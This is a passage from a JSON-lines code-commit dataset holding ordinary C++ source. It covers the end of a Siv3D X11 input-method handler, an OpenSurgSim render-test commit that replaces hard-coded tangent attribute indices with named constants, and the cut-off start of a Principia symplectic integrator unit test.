XIMPreeditDrawCallbackStruct* call_data)\n\t{\n\t\tstd::lock_guard lock{ m_mutexPreeditStatus };\n\t\t\n\t\tm_internalPreeditCaret = call_data->caret;\n\t\t\n\t\tif (call_data->text)\n\t\t{\n\t\t\tString text;\n\t\t\tif (call_data->text->encoding_is_wchar)\n\t\t\t{\n\t\t\t\ttext = Unicode::FromWstring(call_data->text->string.wide_char);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttext = Unicode::FromUTF8(call_data->text->string.multi_byte);\n\t\t\t}\n\n\t\t\tm_internalPreeditText.erase(call_data->chg_first, call_data->chg_length);\n\t\t\tm_internalPreeditText.insert(call_data->chg_first, text);\n\n\t\t\tm_internalPreeditTextStyle.erase(std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first), std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first + call_data->chg_length));\n\t\t\tm_internalPreeditTextStyle.insert(std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first), text.length(), EditingTextCharStyle::NoStyle);\n\n\t\t\tauto itr = std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first);\n\t\t\tEditingTextCharStyle style = EditingTextCharStyle::NoStyle;\n\t\t\tfor(size_t idx = 0; idx < text.length(); idx++)\n\t\t\t{\n\t\t\t\tauto feedback = call_data->text->feedback[idx];\n\t\t\t\tif(feedback == 0)\n\t\t\t\t{\n\t\t\t\t\t*itr = style;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (feedback & XIMReverse)\n\t\t\t\t\t{\n\t\t\t\t\t\t*itr |= EditingTextCharStyle::Highlight;\n\t\t\t\t\t}\n\t\t\t\t\tif (feedback & XIMHighlight)\n\t\t\t\t\t{\n\t\t\t\t\t\t*itr |= EditingTextCharStyle::DashedUnderline;\n\t\t\t\t\t}\n\t\t\t\t\tif (feedback & XIMUnderline)\n\t\t\t\t\t{\n\t\t\t\t\t\t*itr = (*itr & ~EditingTextCharStyle::UnderlineMask) | EditingTextCharStyle::Underline;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\titr++;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_internalPreeditTextStyle.erase(std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first), std::next(m_internalPreeditTextStyle.begin(), call_data->chg_first + call_data->chg_length));\n\t\t\tm_internalPreeditText.erase(call_data->chg_first, call_data->chg_length);\n\t\t}\n\n\n\t}\n\n\tvoid CTextInput::updateWindowFocus(bool focus)\n\t{\n\t\tm_windowHasFocus = focus;\n\t\tupdateICFocus();\n\t}\n\n\tvoid CTextInput::sendInputText(const String& text)\n\t{\n\t\tstd::lock_guard lock { m_mutexChars };\n\n\t\tm_internalChars.append(text);\n\t}\n\n\tvoid CTextInput::updateICFocus()\n\t{\n\t\tXIC ic = s3d_GetXICFromGLFWWindow(static_cast<GLFWwindow*>(SIV3D_ENGINE(Window)->getHandle()));\n\t\tif (ic)\n\t\t{\n\t\t\tif (m_imeEnabled && m_windowHasFocus)\n\t\t\t{\n\t\t\t\tXSetICFocus(ic);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tXUnsetICFocus(ic);\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid CTextInput::OnCharacterInput(GLFWwindow*, const uint32 codePoint)\n\t{\n\t\tSIV3D_ENGINE(TextInput)->pushChar(codePoint);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2012-2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\/ \\file\n\/\/\/ Render Tests for the OsgBoxRepresentation class.\n\n#include \"SurgSim\/Framework\/Runtime.h\"\n#include \"SurgSim\/Framework\/Scene.h\"\n#include \"SurgSim\/Framework\/SceneElement.h\"\n#include \"SurgSim\/Graphics\/OsgAxesRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgBoxRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgCapsuleRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgCylinderRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgManager.h\"\n#include \"SurgSim\/Graphics\/OsgSphereRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgSceneryRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgViewElement.h\"\n#include \"SurgSim\/Graphics\/RenderTests\/RenderTest.h\"\n#include \"SurgSim\/Math\/Quaternion.h\"\n#include \"SurgSim\/Math\/Vector.h\"\n\n#include <gtest\/gtest.h>\n\n#include <random>\n\n#include <osgUtil\/SmoothingVisitor>\n\nusing SurgSim::Framework::Runtime;\nusing SurgSim::Framework::Scene;\nusing SurgSim::Framework::SceneElement;\nusing SurgSim::Math::Quaterniond;\nusing SurgSim::Math::RigidTransform3d;\nusing SurgSim::Math::Vector3d;\nusing SurgSim::Math::Vector2d;\nusing SurgSim::Math::makeRigidTransform;\nusing SurgSim::Math::makeRotationQuaternion;\n\nnamespace SurgSim\n{\n\nnamespace Graphics\n{\n\nstruct OsgRepresentationRenderTests : public RenderTest\n{\n\n};\n\n\/\/\/ This test will put all shape one by one along the X-axis\n\/\/\/ To make sure all shapes are aligned.\n\/\/\/ X-axis points horizontally to the right\n\/\/\/ Y-axis points vertically up\n\/\/\/ Z-axis is perpendicular to the screen and points out\nTEST_F(OsgRepresentationRenderTests, RepresentationTest)\n{\n\t\/\/\/\tBox position\n\tVector3d boxPosition(0.05, 0.0, -0.2);\n\t\/\/\/ Capsule position\n\tVector3d capsulePosition(-0.05, 0.0, -0.2);\n\t\/\/\/ Cylinder position\n\tVector3d cylinderPosition(-0.025, 0.0, -0.2);\n\t\/\/\/ Sphere position\n\tVector3d spherePosition(0.025, 0.0, -0.2);\n\t\/\/\/ Size of the box\n\tVector3d boxSize(0.01, 0.015, 0.01);\n\t\/\/\/ Size of the capsule (radius, height)\n\tVector2d capsuleSize(0.005, 0.015);\n\t\/\/\/ Size of the cylinder\n\tVector2d cylinderSize(0.005, 0.015);\n\t\/\/\/ Radius of the sphere\n\tdouble sphereRadius = 0.005;\n\n\t\/\/\/ Add representations to the view element so we don't need to make another concrete scene element\n\tstd::shared_ptr<BoxRepresentation> boxRepresentation =\n\t\tstd::make_shared<OsgBoxRepresentation>(\"box representation\");\n\tviewElement->addComponent(boxRepresentation);\n\n\tstd::shared_ptr<CapsuleRepresentation> capsuleRepresentation =\n\t\tstd::make_shared<OsgCapsuleRepresentation>(\"capsule representation\");\n\tviewElement->addComponent(capsuleRepresentation);\n\n\tstd::shared_ptr<CylinderRepresentation> cylinderRepresentation =\n\t\tstd::make_shared<OsgCylinderRepresentation>(\"cylinder representation\");\n\tviewElement->addComponent(cylinderRepresentation);\n\n\tstd::shared_ptr<SphereRepresentation> sphereRepresentation =\n\t\tstd::make_shared<OsgSphereRepresentation>(\"sphere representation\");\n\tviewElement->addComponent(sphereRepresentation);\n\n\n\tstd::shared_ptr<AxesRepresentation> axesRepresentation =\n\t\tstd::make_shared<OsgAxesRepresentation>(\"axes\");\n\tviewElement->addComponent(axesRepresentation);\n\n\t\/\/\/ Run the thread\n\truntime->start();\n\n\tboxRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), boxPosition));\n\tcapsuleRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), capsulePosition));\n\tcylinderRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), cylinderPosition));\n\tsphereRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), spherePosition));\n\taxesRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), Vector3d(0.0, 0.0, -0.2)));\n\n\t\/\/\/ Set the size of box\n\tboxRepresentation->setSizeXYZ(boxSize.x(), boxSize.y(), boxSize.z());\n\t\/\/\/ Set the size of capsule\n\t\/\/\/ Capsule should use Y-axis as its axis\n\tcapsuleRepresentation->setSize(capsuleSize.x(), capsuleSize.y());\n\t\/\/\/ Set the size of cylinder\n\t\/\/\/ Cylinder should use Y-axis as its axis\n\tcylinderRepresentation->setSize(cylinderSize.x(), cylinderSize.y());\n\t\/\/\/ Set the size of sphere\n\tsphereRepresentation->setRadius(sphereRadius);\n\n\taxesRepresentation->setSize(0.01);\n\n\tboost::this_thread::sleep(boost::posix_time::milliseconds(1500));\n\n\tboxRepresentation->setDrawAsWireFrame(true);\n\tcapsuleRepresentation->setDrawAsWireFrame(true);\n\tcylinderRepresentation->setDrawAsWireFrame(true);\n\tsphereRepresentation->setDrawAsWireFrame(true);\n\n\tboost::this_thread::sleep(boost::posix_time::milliseconds(1500));\n}\n\nclass LineGeometryVisitor : public osg::NodeVisitor\n{\npublic :\n\tLineGeometryVisitor() :\n\t\tNodeVisitor(NodeVisitor::TRAVERSE_ALL_CHILDREN),\n\t\tm_normalsScale(0.1)\n\t{\n\t}\n\n\tvirtual ~LineGeometryVisitor() {}\n\n\tvoid apply(osg::Node& node) \/\/ NOLINT\n\t{\n\t\ttraverse(node);\n\t}\n\n\tvoid apply(osg::Geode& geode) \/\/ NOLINT\n\t{\n\t\t\/\/ Only deal with 1 geometry for now ...\n\t\tif (geode.getNumDrawables() > 0)\n\t\t{\n\t\t\tosg::Geometry* curGeom = geode.getDrawable(0)->asGeometry();\n\t\t\tif (curGeom)\n\t\t\t{\n\t\t\t\tosg::Vec3Array* vertices = dynamic_cast<osg::Vec3Array*>(curGeom->getVertexArray());\n\n\t\t\t\tauto normals = curGeom->getNormalArray();\n\t\t\t\tgeode.addDrawable(buildGeometry(vertices, normals, osg::Vec4(0.0, 0.0, 1.0, 1.0)));\n\n\t\t\t\tauto tangents = curGeom->getVertexAttribArray(7);\n\n\t\t\t\tauto cast = dynamic_cast<osg::Vec4Array*>(tangents);\n\t\t\t\tASSERT_NE(nullptr, cast);\n\t\t\t\tASSERT_EQ(vertices->size(), cast->size());\n\t\t\t\tgeode.addDrawable(buildGeometry(vertices, tangents, osg::Vec4(1.0, 0.0, 0.0, 1.0)));\n\n\t\t\t\tauto bitangents = curGeom->getVertexAttribArray(8);\n\t\t\t\tcast = dynamic_cast<osg::Vec4Array*>(bitangents);\n\t\t\t\tASSERT_NE(nullptr, cast);\n\t\t\t\tASSERT_EQ(vertices->size(), cast->size());\n\t\t\t\tgeode.addDrawable(buildGeometry(vertices, bitangents, osg::Vec4(0.0, 1.0, 0.0, 1.0)));\n\n\t\t\t}\n\t\t}\n\t}\n\n\tosg::Geometry* buildGeometry(osg::Vec3Array* geomVertices, osg::Array* directions, osg::Vec4 color)\n\t{\n\t\t\/\/ create Geometry object to store all the vertices and lines primitive.\n\t\tosg::Geometry* linesGeom = new osg::Geometry();\n\n\t\tosg::Vec3Array* vertices = new osg::Vec3Array(geomVertices->size() * 2);\n\t\tosg::Vec3 direction;\n\t\tfor (size_t i = 0; i < geomVertices->size(); ++i)\n\t\t{\n\n\t\t\t(*vertices)[i * 2] = (*geomVertices)[i];\n\t\t\tswitch (directions->getType())\n\t\t\t{\n\t\t\t\tcase osg::Array::Vec3ArrayType:\n\t\t\t\t\tdirection = static_cast<const osg::Vec3Array&>(*directions)[i];\n\t\t\t\t\tbreak;\n\t\t\t\tcase osg::Array::Vec4ArrayType:\n\t\t\t\t\tfor (int j = 0; j < 3; ++j)\n\t\t\t\t\t{\n\t\t\t\t\t\tdirection[j] = static_cast<const osg::Vec4Array&>(*directions)[i].ptr()[j];\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tSURGSIM_FAILURE() << \"Unhandled Array type.\";\n\t\t\t}\n\t\t\t(*vertices)[i * 2 + 1] = (*geomVertices)[i] + direction * m_normalsScale;\n\t\t}\n\n\t\t\/\/ pass the created vertex array to the points geometry object.\n\t\tlinesGeom->setVertexArray(vertices);\n\n\t\t\/\/ set the colors as before, plus using the above\n\t\tosg::Vec4Array* colors = new osg::Vec4Array;\n\t\tcolors->push_back(color);\n\t\tlinesGeom->setColorArray(colors, osg::Array::BIND_OVERALL);\n\n\t\t\/\/ \tset the normal in the same way color.\n\t\tosg::Vec3Array* normals = new osg::Vec3Array;\n\t\tnormals->push_back(osg::Vec3(0.0f, -1.0f, 0.0f));\n\t\tlinesGeom->setNormalArray(normals, osg::Array::BIND_OVERALL);\n\n\t\tlinesGeom->addPrimitiveSet(new osg::DrawArrays(osg::PrimitiveSet::LINES, 0, vertices->size()));\n\n\t\tosg::StateSet* state = linesGeom->getOrCreateStateSet();\n\t\tstate->setMode(GL_LIGHTING, osg::StateAttribute::PROTECTED | osg::StateAttribute::OFF);\n\n\t\treturn linesGeom;\n\t}\n\nprivate:\n\tfloat m_normalsScale;\n};\n\n\nTEST_F(OsgRepresentationRenderTests, TangentTest)\n{\n\tauto element = std::make_shared<Framework::BasicSceneElement>(\"sphere\");\n\tauto graphics = std::make_shared<OsgSceneryRepresentation>(\"sphere\");\n\tgraphics->loadModel(\"OsgRepresentationRenderTests\/sphere0_5.obj\");\n\t\/\/graphics->setDrawAsWireFrame(true);\n\n\tviewElement->enableManipulator(true);\n\n\tcamera->setLocalPose(Math::makeRigidTransform(\n\t\t\t\t\t\t\t Vector3d(0.0, 0.0, -4.0),\n\t\t\t\t\t\t\t Vector3d(0.0, 0.0, 0.0),\n\t\t\t\t\t\t\t Vector3d(0.0, 1.0, 0.0)));\n\n\tosg::ref_ptr<osg::Node> node = graphics->getOsgNode();\n\t\/\/ Generate normals\n\tosgUtil::SmoothingVisitor sv;\n\tnode->accept(sv);\n\n\tgraphics->setGenerateTangents(true);\n\n\tLineGeometryVisitor visitor;\n\tnode->accept(visitor);\n\n\telement->addComponent(graphics);\n\tscene->addSceneElement(element);\n\n\truntime->start();\n\n\tboost::this_thread::sleep(boost::posix_time::milliseconds(500));\n\truntime->stop();\n}\n\n\n}; \/\/ namespace Graphics\n\n}; \/\/ namespace SurgSim\n<commit_msg>Fix TangentRenderTest<commit_after>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2012-2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\/ \\file\n\/\/\/ Render Tests for the OsgBoxRepresentation class.\n\n#include \"SurgSim\/Framework\/Runtime.h\"\n#include \"SurgSim\/Framework\/Scene.h\"\n#include \"SurgSim\/Framework\/SceneElement.h\"\n#include \"SurgSim\/Graphics\/OsgAxesRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgBoxRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgCapsuleRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgCylinderRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgManager.h\"\n#include \"SurgSim\/Graphics\/OsgSphereRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgSceneryRepresentation.h\"\n#include \"SurgSim\/Graphics\/OsgViewElement.h\"\n#include \"SurgSim\/Graphics\/RenderTests\/RenderTest.h\"\n#include \"SurgSim\/Math\/Quaternion.h\"\n#include \"SurgSim\/Math\/Vector.h\"\n\n#include <gtest\/gtest.h>\n\n#include <random>\n\n#include <osgUtil\/SmoothingVisitor>\n\nusing SurgSim::Framework::Runtime;\nusing SurgSim::Framework::Scene;\nusing SurgSim::Framework::SceneElement;\nusing SurgSim::Math::Quaterniond;\nusing SurgSim::Math::RigidTransform3d;\nusing SurgSim::Math::Vector3d;\nusing SurgSim::Math::Vector2d;\nusing SurgSim::Math::makeRigidTransform;\nusing SurgSim::Math::makeRotationQuaternion;\n\nnamespace SurgSim\n{\n\nnamespace Graphics\n{\n\nstruct OsgRepresentationRenderTests : public RenderTest\n{\n\n};\n\n\/\/\/ This test will put all shape one by one along the X-axis\n\/\/\/ To make sure all shapes are aligned.\n\/\/\/ X-axis points horizontally to the right\n\/\/\/ Y-axis points vertically up\n\/\/\/ Z-axis is perpendicular to the screen and points out\nTEST_F(OsgRepresentationRenderTests, RepresentationTest)\n{\n\t\/\/\/\tBox position\n\tVector3d boxPosition(0.05, 0.0, -0.2);\n\t\/\/\/ Capsule position\n\tVector3d capsulePosition(-0.05, 0.0, -0.2);\n\t\/\/\/ Cylinder position\n\tVector3d cylinderPosition(-0.025, 0.0, -0.2);\n\t\/\/\/ Sphere position\n\tVector3d spherePosition(0.025, 0.0, -0.2);\n\t\/\/\/ Size of the box\n\tVector3d boxSize(0.01, 0.015, 0.01);\n\t\/\/\/ Size of the capsule (radius, height)\n\tVector2d capsuleSize(0.005, 0.015);\n\t\/\/\/ Size of the cylinder\n\tVector2d cylinderSize(0.005, 0.015);\n\t\/\/\/ Radius of the sphere\n\tdouble sphereRadius = 0.005;\n\n\t\/\/\/ Add representations to the view element so we don't need to make another concrete scene element\n\tstd::shared_ptr<BoxRepresentation> boxRepresentation =\n\t\tstd::make_shared<OsgBoxRepresentation>(\"box representation\");\n\tviewElement->addComponent(boxRepresentation);\n\n\tstd::shared_ptr<CapsuleRepresentation> capsuleRepresentation =\n\t\tstd::make_shared<OsgCapsuleRepresentation>(\"capsule representation\");\n\tviewElement->addComponent(capsuleRepresentation);\n\n\tstd::shared_ptr<CylinderRepresentation> cylinderRepresentation =\n\t\tstd::make_shared<OsgCylinderRepresentation>(\"cylinder representation\");\n\tviewElement->addComponent(cylinderRepresentation);\n\n\tstd::shared_ptr<SphereRepresentation> sphereRepresentation =\n\t\tstd::make_shared<OsgSphereRepresentation>(\"sphere representation\");\n\tviewElement->addComponent(sphereRepresentation);\n\n\n\tstd::shared_ptr<AxesRepresentation> axesRepresentation =\n\t\tstd::make_shared<OsgAxesRepresentation>(\"axes\");\n\tviewElement->addComponent(axesRepresentation);\n\n\t\/\/\/ Run the thread\n\truntime->start();\n\n\tboxRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), boxPosition));\n\tcapsuleRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), capsulePosition));\n\tcylinderRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), cylinderPosition));\n\tsphereRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), spherePosition));\n\taxesRepresentation->setLocalPose(makeRigidTransform(Quaterniond::Identity(), Vector3d(0.0, 0.0, -0.2)));\n\n\t\/\/\/ Set the size of box\n\tboxRepresentation->setSizeXYZ(boxSize.x(), boxSize.y(), boxSize.z());\n\t\/\/\/ Set the size of capsule\n\t\/\/\/ Capsule should use Y-axis as its axis\n\tcapsuleRepresentation->setSize(capsuleSize.x(), capsuleSize.y());\n\t\/\/\/ Set the size of cylinder\n\t\/\/\/ Cylinder should use Y-axis as its axis\n\tcylinderRepresentation->setSize(cylinderSize.x(), cylinderSize.y());\n\t\/\/\/ Set the size of sphere\n\tsphereRepresentation->setRadius(sphereRadius);\n\n\taxesRepresentation->setSize(0.01);\n\n\tboost::this_thread::sleep(boost::posix_time::milliseconds(1500));\n\n\tboxRepresentation->setDrawAsWireFrame(true);\n\tcapsuleRepresentation->setDrawAsWireFrame(true);\n\tcylinderRepresentation->setDrawAsWireFrame(true);\n\tsphereRepresentation->setDrawAsWireFrame(true);\n\n\tboost::this_thread::sleep(boost::posix_time::milliseconds(1500));\n}\n\nclass LineGeometryVisitor : public osg::NodeVisitor\n{\npublic :\n\tLineGeometryVisitor() :\n\t\tNodeVisitor(NodeVisitor::TRAVERSE_ALL_CHILDREN),\n\t\tm_normalsScale(0.1)\n\t{\n\t}\n\n\tvirtual ~LineGeometryVisitor() {}\n\n\tvoid apply(osg::Node& node) \/\/ NOLINT\n\t{\n\t\ttraverse(node);\n\t}\n\n\tvoid apply(osg::Geode& geode) \/\/ NOLINT\n\t{\n\t\t\/\/ Only deal with 1 geometry for now ...\n\t\tif (geode.getNumDrawables() > 0)\n\t\t{\n\t\t\tosg::Geometry* curGeom = geode.getDrawable(0)->asGeometry();\n\t\t\tif (curGeom)\n\t\t\t{\n\t\t\t\tosg::Vec3Array* vertices = dynamic_cast<osg::Vec3Array*>(curGeom->getVertexArray());\n\n\t\t\t\tauto normals = curGeom->getNormalArray();\n\t\t\t\tgeode.addDrawable(buildGeometry(vertices, normals, osg::Vec4(0.0, 0.0, 1.0, 1.0)));\n\n\t\t\t\tauto tangents = curGeom->getVertexAttribArray(TANGENT_VERTEX_ATTRIBUTE_ID);\n\n\t\t\t\tauto cast = dynamic_cast<osg::Vec4Array*>(tangents);\n\t\t\t\tASSERT_NE(nullptr, cast);\n\t\t\t\tASSERT_EQ(vertices->size(), cast->size());\n\t\t\t\tgeode.addDrawable(buildGeometry(vertices, tangents, osg::Vec4(1.0, 0.0, 0.0, 1.0)));\n\n\t\t\t\tauto bitangents = curGeom->getVertexAttribArray(BITANGENT_VERTEX_ATTRIBUTE_ID);\n\t\t\t\tcast = dynamic_cast<osg::Vec4Array*>(bitangents);\n\t\t\t\tASSERT_NE(nullptr, cast);\n\t\t\t\tASSERT_EQ(vertices->size(), cast->size());\n\t\t\t\tgeode.addDrawable(buildGeometry(vertices, bitangents, osg::Vec4(0.0, 1.0, 0.0, 1.0)));\n\n\t\t\t}\n\t\t}\n\t}\n\n\tosg::Geometry* buildGeometry(osg::Vec3Array* geomVertices, osg::Array* directions, osg::Vec4 color)\n\t{\n\t\t\/\/ create Geometry object to store all the vertices and lines primitive.\n\t\tosg::Geometry* linesGeom = new osg::Geometry();\n\n\t\tosg::Vec3Array* vertices = new osg::Vec3Array(geomVertices->size() * 2);\n\t\tosg::Vec3 direction;\n\t\tfor (size_t i = 0; i < geomVertices->size(); ++i)\n\t\t{\n\n\t\t\t(*vertices)[i * 2] = (*geomVertices)[i];\n\t\t\tswitch (directions->getType())\n\t\t\t{\n\t\t\t\tcase osg::Array::Vec3ArrayType:\n\t\t\t\t\tdirection = static_cast<const osg::Vec3Array&>(*directions)[i];\n\t\t\t\t\tbreak;\n\t\t\t\tcase osg::Array::Vec4ArrayType:\n\t\t\t\t\tfor (int j = 0; j < 3; ++j)\n\t\t\t\t\t{\n\t\t\t\t\t\tdirection[j] = static_cast<const osg::Vec4Array&>(*directions)[i].ptr()[j];\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tSURGSIM_FAILURE() << \"Unhandled Array type.\";\n\t\t\t}\n\t\t\t(*vertices)[i * 2 + 1] = (*geomVertices)[i] + direction * m_normalsScale;\n\t\t}\n\n\t\t\/\/ pass the created vertex array to the points geometry object.\n\t\tlinesGeom->setVertexArray(vertices);\n\n\t\t\/\/ set the colors as before, plus using the above\n\t\tosg::Vec4Array* colors = new osg::Vec4Array;\n\t\tcolors->push_back(color);\n\t\tlinesGeom->setColorArray(colors, osg::Array::BIND_OVERALL);\n\n\t\t\/\/ \tset the normal in the same way color.\n\t\tosg::Vec3Array* normals = new osg::Vec3Array;\n\t\tnormals->push_back(osg::Vec3(0.0f, -1.0f, 0.0f));\n\t\tlinesGeom->setNormalArray(normals, osg::Array::BIND_OVERALL);\n\n\t\tlinesGeom->addPrimitiveSet(new osg::DrawArrays(osg::PrimitiveSet::LINES, 0, vertices->size()));\n\n\t\tosg::StateSet* state = linesGeom->getOrCreateStateSet();\n\t\tstate->setMode(GL_LIGHTING, osg::StateAttribute::PROTECTED | osg::StateAttribute::OFF);\n\n\t\treturn linesGeom;\n\t}\n\nprivate:\n\tfloat m_normalsScale;\n};\n\n\nTEST_F(OsgRepresentationRenderTests, TangentTest)\n{\n\tauto element = std::make_shared<Framework::BasicSceneElement>(\"sphere\");\n\tauto graphics = std::make_shared<OsgSceneryRepresentation>(\"sphere\");\n\tgraphics->loadModel(\"OsgRepresentationRenderTests\/sphere0_5.obj\");\n\t\/\/graphics->setDrawAsWireFrame(true);\n\n\tviewElement->enableManipulator(true);\n\n\tcamera->setLocalPose(Math::makeRigidTransform(\n\t\t\t\t\t\t\t Vector3d(0.0, 0.0, -4.0),\n\t\t\t\t\t\t\t Vector3d(0.0, 0.0, 0.0),\n\t\t\t\t\t\t\t Vector3d(0.0, 1.0, 0.0)));\n\n\tosg::ref_ptr<osg::Node> node = graphics->getOsgNode();\n\t\/\/ Generate normals\n\tosgUtil::SmoothingVisitor sv;\n\tnode->accept(sv);\n\n\tgraphics->setGenerateTangents(true);\n\n\tLineGeometryVisitor visitor;\n\tnode->accept(visitor);\n\n\telement->addComponent(graphics);\n\tscene->addSceneElement(element);\n\n\truntime->start();\n\n\tboost::this_thread::sleep(boost::posix_time::milliseconds(500));\n\truntime->stop();\n}\n\n\n}; \/\/ namespace Graphics\n\n}; \/\/ namespace SurgSim\n<|endoftext|>"} {"text":"<commit_before>\n#define TRACE_SYMPLECTIC_PARTITIONED_RUNGE_KUTTA_INTEGRATOR\n\n#include \"integrators\/symplectic_partitioned_runge_kutta_integrator.hpp\"\n\n#include <algorithm>\n#include <string>\n#include <vector>\n\n#include \"geometry\/sign.hpp\"\n#include \"glog\/logging.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"quantities\/dimensionless.hpp\"\n#include \"testing_utilities\/numerics.hpp\"\n#include \"testing_utilities\/statistics.hpp\"\n\nusing principia::testing_utilities::AbsoluteError;\nusing testing::AllOf;\nusing testing::Gt;\nusing testing::Lt;\nusing principia::testing_utilities::BidimensionalDatasetMathematicaInput;\nusing principia::testing_utilities::Slope;\nusing principia::testing_utilities::PearsonProductMomentCorrelationCoefficient;\n\nnamespace principia {\nnamespace integrators {\n\nnamespace {\n\nusing quantities::Dimensionless;\n\ninline void compute_harmonic_oscillator_force(double const t,\n std::vector<double> const& q,\n std::vector<double>* result) {\n (*result)[0] = -q[0];\n}\n\ninline void compute_harmonic_oscillator_velocity(std::vector<double> const& p,\n std::vector<double>* result) {\n (*result)[0] = p[0];\n}\n\n} \/\/ namespace\n\nclass SPRKTest : public testing::Test {\n public:\n static void SetUpTestCase() {\n google::LogToStderr();\n }\n\n protected:\n void SetUp() override {}\n\n SPRKIntegrator integrator_;\n SPRKIntegrator::Parameters parameters_;\n SPRKIntegrator::Solution solution_;\n};\n\nTEST_F(SPRKTest, HarmonicOscillator) {\n parameters_.q0 = {1.0};\n parameters_.p0 = {0.0};\n parameters_.t0 = 0.0;\n#ifdef _DEBUG\n parameters_.tmax = 100.0;\n#else\n parameters_.tmax = 1000.0;\n#endif\n parameters_.Δt = 1.0E-4;\n parameters_.coefficients = integrator_.Order5Optimal();\n parameters_.sampling_period = 1;\n integrator_.Solve(&compute_harmonic_oscillator_force,\n &compute_harmonic_oscillator_velocity,\n parameters_, &solution_);\n double q_error = 0;\n double p_error = 0;\n for (size_t i = 0; i < solution_.time.quantities.size(); ++i) {\n q_error = std::max(q_error,\n std::abs(solution_.position[0].quantities[i] -\n std::cos(solution_.time.quantities[i])));\n p_error = std::max(p_error,\n std::abs(solution_.momentum[0].quantities[i] +\n std::sin(solution_.time.quantities[i])));\n }\n LOG(INFO) << \"q_error = \" << q_error;\n LOG(INFO) << \"p_error = \" << p_error;\n EXPECT_THAT(q_error, Lt(2E-16 * parameters_.tmax));\n EXPECT_THAT(p_error, Lt(2E-16 * parameters_.tmax));\n}\n\nTEST_F(SPRKTest, Convergence) {\n parameters_.q0 = {1.0};\n parameters_.p0 = {0.0};\n parameters_.t0 = 0.0;\n parameters_.tmax = 100;\n parameters_.coefficients = integrator_.Order5Optimal();\n parameters_.sampling_period = 0;\n \/\/ For 0.2 * 1.1⁻²¹ < |Δt| < 0.2 , the correlation between step size and error\n \/\/ is very strong. It the step is small enough to converge and large enough to\n \/\/ stay clear of floating point inaccuracy.\n parameters_.Δt = 0.2;\n int const step_sizes = 22;\n double const step_reduction = 1.1;\n std::vector<Dimensionless> log_step_sizes(step_sizes);\n std::vector<Dimensionless> log_q_errors(step_sizes);\n std::vector<Dimensionless> log_p_errors(step_sizes);\n for (int i = 0; i < step_sizes; ++i, parameters_.Δt \/= step_reduction) {\n solution_ = SPRKIntegrator::Solution();\n integrator_.Solve(&compute_harmonic_oscillator_force,\n &compute_harmonic_oscillator_velocity,\n parameters_, &solution_);\n log_step_sizes[i] = std::log10(parameters_.Δt);\n log_q_errors[i] = std::log10(\n std::abs(solution_.position[0].quantities[0] -\n std::cos(solution_.time.quantities[0])));\n log_p_errors[i] = std::log10(\n std::abs(solution_.momentum[0].quantities[0] +\n std::sin(solution_.time.quantities[0])));\n }\n google::LogToStderr();\n Dimensionless const q_convergence_order = Slope(log_step_sizes, log_q_errors);\n Dimensionless const q_correlation =\n PearsonProductMomentCorrelationCoefficient(log_step_sizes, log_q_errors);\n LOG(INFO) << \"Convergence order in q : \" << q_convergence_order;\n LOG(INFO) << \"Correlation : \" << q_correlation;\n LOG(INFO) << \"Convergence data for q :\\n\" <<\n BidimensionalDatasetMathematicaInput(log_step_sizes, log_q_errors);\n EXPECT_THAT(q_convergence_order, 